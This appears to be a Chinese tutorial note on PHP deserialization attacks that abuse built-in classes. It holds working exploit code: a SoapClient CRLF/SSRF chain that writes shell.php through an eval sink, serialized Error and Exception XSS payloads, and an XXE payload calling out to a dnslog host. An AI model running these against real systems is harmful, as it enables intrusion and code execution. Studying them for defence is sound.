PHP反序列化-4
常用原生类的利用
获取含魔术方法的内置类:
<?php
$classes = get_declared_classes(); // 返回由已定义类的名字所组成的数组
foreach ($classes as $class) {
$methods = get_class_methods($class); // 返回由类的方法名组成的数组
foreach ($methods as $method) {
if (in_array($method, array(
'__destruct',
'__toString',
'__wakeup',
'__call',
'__callStatic',
'__get',
'__set',
'__isset',
'__unset',
'__invoke',
'__set_state'
))) {
print $class . '::' . $method . ";";
}
}
print "\n";
}
SoapClient + CLRF +SSRF
影响范围
php 5,7,8
简介
SOAP(简单对象访问协议)是连接或Web服务或客户端和Web服务之间的接口。
其采用HTTP作为底层通讯协议,XML作为数据传送的格式,仅限于http/https协议。
SOAP消息基本上是从发送端到接收端的单向传输,但它们常常结合起来执行类似于请求 / 应答的模式。
如果想要使用SoapClient类需要在php.ini配置文件里面开启相应的扩展。
SoapClient::__construct ( string|null $wsdl , array $options = [] )
第一个参数为WSDL 文件的 URI ,如果是NULL 意味着不使用 WSDL 模式。
第二个参数是一个数组,如果在WSDL 模式下,这个参数是可选的。如果在non-WSDL 模式下,必须设置location 和 uri 参数,location是要请求的 URL,uri是要访问的资源。
SoapClient::__call ( string $name , array $args ) : mixed
该魔术方法可触发网络请求。
原理
官方说明中表示,其所触发请求的user-agent头是可以由user_agent
参数控制的,而且明显Content-Type 和 Content-Length 都在User-Agent 位置之下,所以我们可以通过user_agent参数构造我们自己的UA头去实现构造任意的POST请求。
示例
<?php
if($_SERVER['REMOTE_ADDR']=='127.0.0.1'){
@$a=$_POST[1];
@eval($a);
}
?>
exp:
<?php
$target= 'http://127.0.0.1/demo.php';
$post_string= '1=file_put_contents("shell.php", "<?php phpinfo();?>");';
$headers= array(
'X-Forwarded-For:127.0.0.1',
'Cookie:admin=1'
);
$b= new SoapClient(null,array('location'=> $target,'user_agent'=>'wupco^^Content-Type:application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length:'.(string)strlen($post_string).'^^^^'.$post_string,'uri'=>"haha"));
//因为User-agent是可以控制的,因此可以利用crlf注入http头部发送post请求
$aaa= serialize($b);
$aaa= str_replace('^^','%0d%0a',$aaa);
$aaa= str_replace('&','%26',$aaa);
echo $aaa;
$x= unserialize(urldecode($aaa));//调用__call方法触发网络请求发送
$x->no_func();
?>
Error/Exception + XSS
影响范围
Error(php7, PHP8),
Exception(php5, php7, PHP8)
原理
Error类就是php的一个内置类用于自动自定义一个Error
,在php环境下可能会造成xss
漏洞,因为它内置有一个toString
的方法。
示例
<?php
$a = unserialize($_GET['a']);
echo $a;
?>
Error exp:
<?php
$a = new Error("<script>alert(1)</script>");
echo urlencode(serialize($a));
?>
Error payload:
O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A52%3A%22D%3A%5CDesktopFolder%5CCode%5CPhpCode%5CPhpStorm%5Ctest%5Ctest.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D
Exception exp:
<?php
$a = new Exception("<script>alert(1)</script>");
echo urlencode(serialize($a));
?>
Exception payload:
O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A52%3A%22D%3A%5CDesktopFolder%5CCode%5CPhpCode%5CPhpStorm%5Ctest%5Ctest.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D
SimpleXMLElement + XXE
影响范围
php 5,7,8
原理
实例化该类的对象传入xml代码进行xxe攻击,进而读取文件内容和命令执行。
示例
exp:
<?php
$xml = <<<EOF
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE ANY [
<!ENTITY % remote SYSTEM "http://86vtbx.dnslog.cn">%remote;]>
]>
<x>&xee</x>
EOF;
$xml_class = new SimpleXMLElement($xml, LIBXML_NOENT);
var_dump($xml_class);
?>